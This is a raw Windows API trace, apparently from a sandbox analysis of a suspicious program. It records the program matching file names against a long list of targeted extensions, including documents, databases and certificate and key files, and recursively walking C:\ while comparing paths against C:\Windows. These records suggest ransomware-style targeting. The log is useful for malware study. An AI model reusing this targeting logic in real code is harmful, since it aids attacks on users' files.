[0207.231] lstrcmpiW (lpString1=".3ds", lpString2=".ELM") returned -1 [0207.231] lstrcmpiW (lpString1=".3fr", lpString2=".ELM") returned -1 [0207.231] lstrcmpiW (lpString1=".3g2", lpString2=".ELM") returned -1 [0207.231] lstrcmpiW (lpString1=".3gp", lpString2=".ELM") returned -1 [0207.231] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0207.231] lstrcmpiW (lpString1=".accda", lpString2="EL.ELM") returned -1 [0207.231] lstrcmpiW (lpString1=".accdb", lpString2="EL.ELM") returned -1 [0207.231] lstrcmpiW (lpString1=".accdc", lpString2="EL.ELM") returned -1 [0207.232] lstrcmpiW (lpString1=".accde", lpString2="EL.ELM") returned -1 [0207.232] lstrcmpiW (lpString1=".accdt", lpString2="EL.ELM") returned -1 [0207.232] lstrcmpiW (lpString1=".accdw", lpString2="EL.ELM") returned -1 [0207.232] lstrcmpiW (lpString1=".adb", lpString2=".ELM") returned -1 [0207.232] lstrcmpiW (lpString1=".adp", lpString2=".ELM") returned -1 [0207.232] lstrcmpiW (lpString1=".ai", lpString2="ELM") returned -1 [0207.232] lstrcmpiW (lpString1=".ai3", lpString2=".ELM") returned -1 [0207.232] lstrcmpiW (lpString1=".ai4", lpString2=".ELM") returned -1 [0207.233] lstrcmpiW (lpString1=".ai5", lpString2=".ELM") returned -1 [0207.233] lstrcmpiW (lpString1=".ai6", lpString2=".ELM") returned -1 [0207.233] lstrcmpiW (lpString1=".ai7", lpString2=".ELM") returned -1 [0207.233] lstrcmpiW (lpString1=".ai8", lpString2=".ELM") returned -1 [0207.234] lstrcmpiW (lpString1=".anim", lpString2="L.ELM") returned -1 [0207.234] lstrcmpiW (lpString1=".arw", lpString2=".ELM") returned -1 [0207.234] lstrcmpiW (lpString1=".as", lpString2="ELM") returned -1 [0207.234] lstrcmpiW (lpString1=".asa", lpString2=".ELM") returned -1 [0207.234] lstrcmpiW (lpString1=".asc", lpString2=".ELM") returned -1 [0207.234] lstrcmpiW (lpString1=".ascx", lpString2="L.ELM") returned -1 [0207.235] lstrcmpiW (lpString1=".asm", lpString2=".ELM") returned -1 [0207.235] lstrcmpiW (lpString1=".asmx", lpString2="L.ELM") returned -1 [0207.235] lstrcmpiW (lpString1=".asp", lpString2=".ELM") returned -1 [0207.235] lstrcmpiW (lpString1=".aspx", lpString2="L.ELM") returned -1 [0207.235] lstrcmpiW (lpString1=".asr", lpString2=".ELM") returned -1 [0207.235] lstrcmpiW (lpString1=".asx", lpString2=".ELM") returned -1 [0207.235] lstrcmpiW (lpString1=".avi", lpString2=".ELM") returned -1 [0207.235] lstrcmpiW (lpString1=".avs", lpString2=".ELM") returned -1 [0207.235] lstrcmpiW (lpString1=".backup", lpString2="VEL.ELM") returned -1 [0207.236] lstrcmpiW (lpString1=".bak", lpString2=".ELM") returned -1 [0207.236] lstrcmpiW (lpString1=".bay", lpString2=".ELM") returned -1 [0207.236] lstrcmpiW (lpString1=".bd", lpString2="ELM") returned -1 [0207.236] lstrcmpiW (lpString1=".bin", lpString2=".ELM") returned -1 [0207.236] lstrcmpiW (lpString1=".bmp", lpString2=".ELM") returned -1 [0207.236] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0207.236] lstrcmpiW (lpString1=".c", lpString2="LM") returned -1 [0207.236] lstrcmpiW (lpString1=".cdr", lpString2=".ELM") returned -1 [0207.237] lstrcmpiW (lpString1=".cer", lpString2=".ELM") returned -1 [0207.237] lstrcmpiW (lpString1=".cf", lpString2="ELM") returned -1 [0207.237] lstrcmpiW (lpString1=".cfc", lpString2=".ELM") returned -1 [0207.237] lstrcmpiW (lpString1=".cfm", lpString2=".ELM") returned -1 [0207.237] lstrcmpiW (lpString1=".cfml", lpString2="L.ELM") returned -1 [0207.237] lstrcmpiW (lpString1=".cfu", lpString2=".ELM") returned -1 [0207.237] lstrcmpiW (lpString1=".chm", lpString2=".ELM") returned -1 [0207.238] lstrcmpiW (lpString1=".cin", lpString2=".ELM") returned -1 [0207.238] lstrcmpiW (lpString1=".class", lpString2="EL.ELM") returned -1 [0207.238] lstrcmpiW (lpString1=".clx", lpString2=".ELM") returned -1 [0207.238] lstrcmpiW (lpString1=".config", lpString2="VEL.ELM") returned -1 [0207.238] lstrcmpiW (lpString1=".cpp", lpString2=".ELM") returned -1 [0207.238] lstrcmpiW (lpString1=".cr2", lpString2=".ELM") returned -1 [0207.238] lstrcmpiW (lpString1=".crt", lpString2=".ELM") returned -1 [0207.238] lstrcmpiW (lpString1=".crw", lpString2=".ELM") returned -1 [0207.238] lstrcmpiW (lpString1=".cs", lpString2="ELM") returned -1 [0207.239] lstrcmpiW (lpString1=".css", lpString2=".ELM") returned -1 [0207.239] lstrcmpiW (lpString1=".csv", lpString2=".ELM") returned -1 [0207.239] lstrcmpiW (lpString1=".cub", lpString2=".ELM") returned -1 [0207.239] lstrcmpiW (lpString1=".dae", lpString2=".ELM") returned -1 [0207.239] lstrcmpiW (lpString1=".dat", lpString2=".ELM") returned -1 [0207.239] lstrcmpiW (lpString1=".db", lpString2="ELM") returned -1 [0207.239] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0207.239] lstrcmpiW (lpString1=".dbx", lpString2=".ELM") returned -1 [0207.240] lstrcmpiW (lpString1=".dc3", lpString2=".ELM") returned -1 [0207.240] lstrcmpiW (lpString1=".dcm", lpString2=".ELM") returned -1 [0207.240] lstrcmpiW (lpString1=".dcr", lpString2=".ELM") returned -1 [0207.240] lstrcmpiW (lpString1=".der", lpString2=".ELM") returned -1 [0207.240] lstrcmpiW (lpString1=".dib", lpString2=".ELM") returned -1 [0207.240] lstrcmpiW (lpString1=".dic", lpString2=".ELM") returned -1 [0207.240] lstrcmpiW (lpString1=".dif", lpString2=".ELM") returned -1 [0207.240] lstrcmpiW (lpString1=".divx", lpString2="L.ELM") returned -1 [0207.240] lstrcmpiW (lpString1=".djvu", lpString2="L.ELM") returned -1 [0207.241] lstrcmpiW (lpString1=".dng", lpString2=".ELM") returned -1 [0207.241] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0207.241] lstrcmpiW (lpString1=".docm", lpString2="L.ELM") returned -1 [0207.241] lstrcmpiW (lpString1=".docx", lpString2="L.ELM") returned -1 [0207.241] lstrcmpiW (lpString1=".dot", lpString2=".ELM") returned -1 [0207.241] lstrcmpiW (lpString1=".dotm", lpString2="L.ELM") returned -1 [0207.241] lstrcmpiW (lpString1=".dotx", lpString2="L.ELM") returned -1 [0207.241] lstrcmpiW (lpString1=".dpx", lpString2=".ELM") returned -1 [0207.241] lstrcmpiW (lpString1=".dqy", lpString2=".ELM") returned -1 [0207.242] lstrcmpiW (lpString1=".dsn", lpString2=".ELM") returned -1 [0207.242] lstrcmpiW (lpString1=".dt", lpString2="ELM") returned -1 [0207.242] lstrcmpiW (lpString1=".dtd", lpString2=".ELM") returned -1 [0207.242] lstrcmpiW (lpString1=".dwg", lpString2=".ELM") returned -1 [0207.242] lstrcmpiW (lpString1=".dwt", lpString2=".ELM") returned -1 [0207.242] lstrcmpiW (lpString1=".dx", lpString2="ELM") returned -1 [0207.242] lstrcmpiW (lpString1=".dxf", lpString2=".ELM") returned -1 [0207.242] lstrcmpiW (lpString1=".edml", lpString2="L.ELM") returned -1 [0207.243] lstrcmpiW (lpString1=".efd", lpString2=".ELM") returned -1 [0207.243] lstrcmpiW (lpString1=".elf", lpString2=".ELM") returned -1 [0207.243] lstrcmpiW (lpString1=".emf", lpString2=".ELM") returned 1 [0207.243] lstrcmpiW (lpString1=".emz", lpString2=".ELM") returned 1 [0207.243] lstrcmpiW (lpString1=".epf", lpString2=".ELM") returned 1 [0207.243] lstrcmpiW (lpString1=".eps", lpString2=".ELM") returned 1 [0207.243] lstrcmpiW (lpString1=".epsf", lpString2="L.ELM") returned -1 [0207.244] lstrcmpiW (lpString1=".epsp", lpString2="L.ELM") returned -1 [0207.244] lstrcmpiW (lpString1=".erf", lpString2=".ELM") returned 1 [0207.244] lstrcmpiW (lpString1=".exr", lpString2=".ELM") returned 1 [0207.244] lstrcmpiW (lpString1=".f4v", lpString2=".ELM") returned 1 [0207.244] lstrcmpiW (lpString1=".fido", lpString2="L.ELM") returned -1 [0207.244] lstrcmpiW (lpString1=".flm", lpString2=".ELM") returned 1 [0207.244] lstrcmpiW (lpString1=".flv", lpString2=".ELM") returned 1 [0207.244] lstrcmpiW (lpString1=".frm", lpString2=".ELM") returned 1 [0207.244] lstrcmpiW (lpString1=".fxg", lpString2=".ELM") returned 1 [0207.245] lstrcmpiW (lpString1=".geo", lpString2=".ELM") returned 1 [0207.245] lstrcmpiW (lpString1=".gif", lpString2=".ELM") returned 1 [0207.245] lstrcmpiW (lpString1=".grs", lpString2=".ELM") returned 1 [0207.245] lstrcmpiW (lpString1=".gz", lpString2="ELM") returned -1 [0207.245] lstrcmpiW (lpString1=".h", lpString2="LM") returned -1 [0207.245] lstrcmpiW (lpString1=".hdr", lpString2=".ELM") returned 1 [0207.245] lstrcmpiW (lpString1=".hpp", lpString2=".ELM") returned 1 [0207.245] lstrcmpiW (lpString1=".hta", lpString2=".ELM") returned 1 [0207.246] lstrcmpiW (lpString1=".htc", lpString2=".ELM") returned 1 [0207.246] lstrcmpiW (lpString1=".htm", lpString2=".ELM") returned 1 [0207.246] lstrcmpiW (lpString1=".html", lpString2="L.ELM") returned -1 [0207.246] lstrcmpiW (lpString1=".icb", lpString2=".ELM") returned 1 [0207.246] lstrcmpiW (lpString1=".ics", lpString2=".ELM") returned 1 [0207.246] lstrcmpiW (lpString1=".iff", lpString2=".ELM") returned 1 [0207.246] lstrcmpiW (lpString1=".inc", lpString2=".ELM") returned 1 [0207.246] lstrcmpiW (lpString1=".indd", lpString2="L.ELM") returned -1 [0207.247] lstrcmpiW (lpString1=".ini", lpString2=".ELM") returned 1 [0207.247] lstrcmpiW (lpString1=".iqy", lpString2=".ELM") returned 1 [0207.247] lstrcmpiW (lpString1=".j2c", lpString2=".ELM") returned 1 [0207.247] lstrcmpiW (lpString1=".j2k", lpString2=".ELM") returned 1 [0207.247] lstrcmpiW (lpString1=".java", lpString2="L.ELM") returned -1 [0207.247] lstrcmpiW (lpString1=".jp2", lpString2=".ELM") returned 1 [0207.247] lstrcmpiW (lpString1=".jpc", lpString2=".ELM") returned 1 [0207.248] lstrcmpiW (lpString1=".jpe", lpString2=".ELM") returned 1 [0207.248] lstrcmpiW (lpString1=".jpeg", lpString2="L.ELM") returned -1 [0207.248] lstrcmpiW (lpString1=".jpf", lpString2=".ELM") returned 1 [0207.248] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0207.248] lstrcmpiW (lpString1=".jpx", lpString2=".ELM") returned 1 [0207.248] lstrcmpiW (lpString1=".js", lpString2="ELM") returned -1 [0207.248] lstrcmpiW (lpString1=".jsf", lpString2=".ELM") returned 1 [0207.248] lstrcmpiW (lpString1=".json", lpString2="L.ELM") returned -1 [0207.248] lstrcmpiW (lpString1=".jsp", lpString2=".ELM") returned 1 [0207.249] lstrcmpiW (lpString1=".kdc", lpString2=".ELM") returned 1 [0207.249] lstrcmpiW (lpString1=".kmz", lpString2=".ELM") returned 1 [0207.249] lstrcmpiW (lpString1=".kwm", lpString2=".ELM") returned 1 [0207.250] lstrcmpiW (lpString1=".lasso", lpString2="EL.ELM") returned -1 [0207.250] lstrcmpiW (lpString1=".lbi", lpString2=".ELM") returned 1 [0207.250] lstrcmpiW (lpString1=".lgf", lpString2=".ELM") returned 1 [0207.250] lstrcmpiW (lpString1=".lgp", lpString2=".ELM") returned 1 [0207.250] lstrcmpiW (lpString1=".log", lpString2=".ELM") returned 1 [0207.250] lstrcmpiW (lpString1=".m1v", lpString2=".ELM") returned 1 [0207.250] lstrcmpiW (lpString1=".m4a", lpString2=".ELM") returned 1 [0207.251] lstrcmpiW (lpString1=".m4v", lpString2=".ELM") returned 1 [0207.251] lstrcmpiW (lpString1=".max", lpString2=".ELM") returned 1 [0207.251] lstrcmpiW (lpString1=".md", lpString2="ELM") returned -1 [0207.251] lstrcmpiW (lpString1=".mda", lpString2=".ELM") returned 1 [0207.251] lstrcmpiW (lpString1=".mdb", lpString2=".ELM") returned 1 [0207.251] lstrcmpiW (lpString1=".mde", lpString2=".ELM") returned 1 [0207.251] lstrcmpiW (lpString1=".mdf", lpString2=".ELM") returned 1 [0207.251] lstrcmpiW (lpString1=".mdw", lpString2=".ELM") returned 1 [0207.251] lstrcmpiW (lpString1=".mef", lpString2=".ELM") returned 1 [0207.252] lstrcmpiW (lpString1=".mft", lpString2=".ELM") returned 1 [0207.252] lstrcmpiW (lpString1=".mfw", lpString2=".ELM") returned 1 [0207.252] lstrcmpiW (lpString1=".mht", lpString2=".ELM") returned 1 [0207.252] lstrcmpiW (lpString1=".mhtml", lpString2="EL.ELM") returned -1 [0207.252] lstrcmpiW (lpString1=".mka", lpString2=".ELM") returned 1 [0207.252] lstrcmpiW (lpString1=".mkidx", lpString2="EL.ELM") returned -1 [0207.252] lstrcmpiW (lpString1=".mkv", lpString2=".ELM") returned 1 [0207.252] lstrcmpiW (lpString1=".mos", lpString2=".ELM") returned 1 [0207.252] lstrcmpiW (lpString1=".mov", lpString2=".ELM") returned 1 [0207.253] lstrcmpiW (lpString1=".mp3", lpString2=".ELM") returned 1 [0207.253] lstrcmpiW (lpString1=".mp4", lpString2=".ELM") returned 1 [0207.253] lstrcmpiW (lpString1=".mpeg", lpString2="L.ELM") returned -1 [0207.253] lstrcmpiW (lpString1=".mpg", lpString2=".ELM") returned 1 [0207.253] lstrcmpiW (lpString1=".mpv", lpString2=".ELM") returned 1 [0207.253] lstrcmpiW (lpString1=".mrw", lpString2=".ELM") returned 1 [0207.253] lstrcmpiW (lpString1=".msg", lpString2=".ELM") returned 1 [0207.253] lstrcmpiW (lpString1=".mxl", lpString2=".ELM") returned 1 [0207.253] lstrcmpiW (lpString1=".myd", lpString2=".ELM") returned 1 [0207.254] lstrcmpiW (lpString1=".myi", lpString2=".ELM") returned 1 [0207.254] lstrcmpiW (lpString1=".nef", lpString2=".ELM") returned 1 [0207.254] lstrcmpiW (lpString1=".nrw", lpString2=".ELM") returned 1 [0207.254] lstrcmpiW (lpString1=".obj", lpString2=".ELM") returned 1 [0207.254] lstrcmpiW (lpString1=".odb", lpString2=".ELM") returned 1 [0207.254] lstrcmpiW (lpString1=".odc", lpString2=".ELM") returned 1 [0207.254] lstrcmpiW (lpString1=".odm", lpString2=".ELM") returned 1 [0207.254] lstrcmpiW (lpString1=".odp", lpString2=".ELM") returned 1 [0207.255] lstrcmpiW (lpString1=".ods", lpString2=".ELM") returned 1 [0207.255] lstrcmpiW (lpString1=".oft", lpString2=".ELM") returned 1 [0207.255] lstrcmpiW (lpString1=".one", lpString2=".ELM") returned 1 [0207.255] lstrcmpiW (lpString1=".onepkg", lpString2="VEL.ELM") returned -1 [0207.255] lstrcmpiW (lpString1=".onetoc2", lpString2="EVEL.ELM") returned -1 [0207.255] lstrcmpiW (lpString1=".opt", lpString2=".ELM") returned 1 [0207.255] lstrcmpiW (lpString1=".oqy", lpString2=".ELM") returned 1 [0207.255] lstrcmpiW (lpString1=".orf", lpString2=".ELM") returned 1 [0207.256] lstrcmpiW (lpString1=".p12", lpString2=".ELM") returned 1 [0207.256] lstrcmpiW (lpString1=".p7b", lpString2=".ELM") returned 1 [0207.256] lstrcmpiW (lpString1=".p7c", lpString2=".ELM") returned 1 [0207.256] lstrcmpiW (lpString1=".pam", lpString2=".ELM") returned 1 [0207.256] lstrcmpiW (lpString1=".pbm", lpString2=".ELM") returned 1 [0207.256] lstrcmpiW (lpString1=".pct", lpString2=".ELM") returned 1 [0207.256] lstrcmpiW (lpString1=".pcx", lpString2=".ELM") returned 1 [0207.257] lstrcmpiW (lpString1=".pdd", lpString2=".ELM") returned 1 [0207.257] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0207.257] lstrcmpiW (lpString1=".pdp", lpString2=".ELM") returned 1 [0207.257] lstrcmpiW (lpString1=".pef", lpString2=".ELM") returned 1 [0207.257] lstrcmpiW (lpString1=".pem", lpString2=".ELM") returned 1 [0207.257] lstrcmpiW (lpString1=".pff", lpString2=".ELM") returned 1 [0207.257] lstrcmpiW (lpString1=".pfm", lpString2=".ELM") returned 1 [0207.257] lstrcmpiW (lpString1=".pfx", lpString2=".ELM") returned 1 [0207.257] lstrcmpiW (lpString1=".pgm", lpString2=".ELM") returned 1 [0207.257] lstrcmpiW (lpString1=".php", lpString2=".ELM") returned 1 [0207.258] lstrcmpiW (lpString1=".php3", lpString2="L.ELM") returned -1 [0207.258] lstrcmpiW (lpString1=".php4", lpString2="L.ELM") returned -1 [0207.258] lstrcmpiW (lpString1=".php5", lpString2="L.ELM") returned -1 [0207.258] lstrcmpiW (lpString1=".phtml", lpString2="EL.ELM") returned -1 [0207.258] lstrcmpiW (lpString1=".pict", lpString2="L.ELM") returned -1 [0207.258] lstrcmpiW (lpString1=".pl", lpString2="ELM") returned -1 [0207.258] lstrcmpiW (lpString1=".pls", lpString2=".ELM") returned 1 [0207.258] lstrcmpiW (lpString1=".pm", lpString2="ELM") returned -1 [0207.259] lstrcmpiW (lpString1=".png", lpString2=".ELM") returned 1 [0207.259] lstrcmpiW (lpString1=".pnm", lpString2=".ELM") returned 1 [0207.259] lstrcmpiW (lpString1=".pot", lpString2=".ELM") returned 1 [0207.259] lstrcmpiW (lpString1=".potm", lpString2="L.ELM") returned -1 [0207.259] lstrcmpiW (lpString1=".potx", lpString2="L.ELM") returned -1 [0207.259] lstrcmpiW (lpString1=".ppa", lpString2=".ELM") returned 1 [0207.259] lstrcmpiW (lpString1=".ppam", lpString2="L.ELM") returned -1 [0207.260] lstrcmpiW (lpString1=".ppm", lpString2=".ELM") returned 1 [0207.260] lstrcmpiW (lpString1=".pps", lpString2=".ELM") returned 1 [0207.260] lstrcmpiW (lpString1=".ppsm", lpString2="L.ELM") returned -1 [0207.260] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0207.260] lstrcmpiW (lpString1=".pptm", lpString2="L.ELM") returned -1 [0207.260] lstrcmpiW (lpString1=".pptx", lpString2="L.ELM") returned -1 [0207.260] lstrcmpiW (lpString1=".prn", lpString2=".ELM") returned 1 [0207.260] lstrcmpiW (lpString1=".ps", lpString2="ELM") returned -1 [0207.261] lstrcmpiW (lpString1=".psb", lpString2=".ELM") returned 1 [0207.261] lstrcmpiW (lpString1=".psd", lpString2=".ELM") returned 1 [0207.261] lstrcmpiW (lpString1=".pst", lpString2=".ELM") returned 1 [0207.261] lstrcmpiW (lpString1=".ptx", lpString2=".ELM") returned 1 [0207.261] lstrcmpiW (lpString1=".pub", lpString2=".ELM") returned 1 [0207.261] lstrcmpiW (lpString1=".pwm", lpString2=".ELM") returned 1 [0207.261] lstrcmpiW (lpString1=".pxr", lpString2=".ELM") returned 1 [0207.261] lstrcmpiW (lpString1=".py", lpString2="ELM") returned -1 [0207.261] lstrcmpiW (lpString1=".qt", lpString2="ELM") returned -1 [0207.262] lstrcmpiW (lpString1=".r3d", lpString2=".ELM") returned 1 [0207.262] lstrcmpiW (lpString1=".raf", lpString2=".ELM") returned 1 [0207.262] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0207.262] lstrcmpiW (lpString1=".raw", lpString2=".ELM") returned 1 [0207.262] lstrcmpiW (lpString1=".rdf", lpString2=".ELM") returned 1 [0207.262] FindNextFileW (in: hFindFile=0x4192ad8, lpFindFileData=0x36af094 | out: lpFindFileData=0x36af094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x20e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL.INF", cAlternateFileName="")) returned 1 [0216.431] FindNextFileW (in: hFindFile=0x4192598, lpFindFileData=0x36af310 | out: lpFindFileData=0x36af310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.434] FindNextFileW (in: hFindFile=0x4192598, lpFindFileData=0x36af310 | out: lpFindFileData=0x36af310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 1 [0232.412] FindNextFileW (in: hFindFile=0x4192a98, lpFindFileData=0x36af58c | out: lpFindFileData=0x36af58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x853ab920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x74760, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.sharepoint.workflowactions.proxy.dll", cAlternateFileName="MI6AA3~1.DLL")) returned 1 [0232.815] FindNextFileW (in: hFindFile=0x41ce108, lpFindFileData=0x36af310 | out: lpFindFileData=0x36af310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5133d8d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.819] FindNextFileW (in: hFindFile=0x41ce108, lpFindFileData=0x36af310 | out: lpFindFileData=0x36af310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x330, dwReserved0=0x0, dwReserved1=0x0, cFileName="AMERITECH.NET.XML", cAlternateFileName="AMERIT~1.XML")) returned 1 [0233.133] FindNextFileW (in: hFindFile=0x41ce108, lpFindFileData=0x36af310 | out: lpFindFileData=0x36af310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59d27370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ce49790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.133] FindNextFileW (in: hFindFile=0x41ce108, lpFindFileData=0x36af310 | out: lpFindFileData=0x36af310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb180a100, ftCreationTime.dwHighDateTime=0x1ca10e6, ftLastAccessTime.dwLowDateTime=0x59d27370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb180a100, ftLastWriteTime.dwHighDateTime=0x1ca10e6, nFileSizeHigh=0x0, nFileSizeLow=0xfb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL001.XML", cAlternateFileName="")) returned 1 Thread: id = 74 os_tid = 0x668 [0193.695] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x3af04d8 [0193.696] lstrlenW (lpString="C:") returned 2 [0193.697] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x37efd00 | out: lpFindFileData=0x37efd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x8dabc8 [0193.697] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0193.697] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0193.697] lstrlenW (lpString="$Recycle.Bin") returned 12 [0193.697] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0193.697] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x4170048 [0193.699] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0193.699] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x37efa84 | out: lpFindFileData=0x37efa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8dac08 [0193.700] FindNextFileW (in: hFindFile=0x8dac08, lpFindFileData=0x37efa84 | out: lpFindFileData=0x37efa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.700] FindNextFileW (in: hFindFile=0x8dac08, lpFindFileData=0x37efa84 | out: lpFindFileData=0x37efa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1d8c5a20, ftLastAccessTime.dwHighDateTime=0x1d5d106, ftLastWriteTime.dwLowDateTime=0x1d8c5a20, ftLastWriteTime.dwHighDateTime=0x1d5d106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0193.700] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0193.700] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0193.700] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0193.700] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0193.700] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x4181058 [0193.702] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0193.702] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x37ef808 | out: lpFindFileData=0x37ef808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1d8c5a20, ftLastAccessTime.dwHighDateTime=0x1d5d106, ftLastWriteTime.dwLowDateTime=0x1d8c5a20, ftLastWriteTime.dwHighDateTime=0x1d5d106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8dac48 [0193.702] FindNextFileW (in: hFindFile=0x8dac48, lpFindFileData=0x37ef808 | out: lpFindFileData=0x37ef808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1d8c5a20, ftLastAccessTime.dwHighDateTime=0x1d5d106, ftLastWriteTime.dwLowDateTime=0x1d8c5a20, ftLastWriteTime.dwHighDateTime=0x1d5d106, nFileSizeHigh=0x0, 